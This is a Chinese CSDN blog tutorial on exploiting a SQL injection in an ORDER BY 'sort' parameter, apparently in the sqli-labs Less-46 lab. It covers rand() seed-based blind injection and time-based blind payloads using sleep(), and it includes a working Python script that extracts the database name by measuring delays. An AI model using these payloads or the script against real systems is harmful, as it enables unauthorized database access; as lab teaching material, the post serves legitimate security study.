【无标题】

文章介绍了在SQL查询中如何利用SORT参数进行参数化注入,涉及rand()函数的固定种子注入,时间盲注的利用方法,以及通过编写脚本来执行时间盲注构造payload进行SQL注入的过程。
摘要由CSDN通过智能技术生成

1.传参的参数为SORT,我们令参数即sort为1继续尝试输入:

2.将sort参数变为2继续尝试:

3.输入'

报错,说明存在注入点

 4.rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)
?sort=rand(false)

 

 

5.时间盲注

  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示
order by if(表达式,1,sleep(1))

   (1)这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

 

(2)

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

 

6.盲注脚本

时间盲注构造payload完成注入

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
        	# 构造时间盲注payload
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理,这里我设定了超时时间为20s
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-46/index.php'
    inject_database(url)

 注入URL的正确性进行更改

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值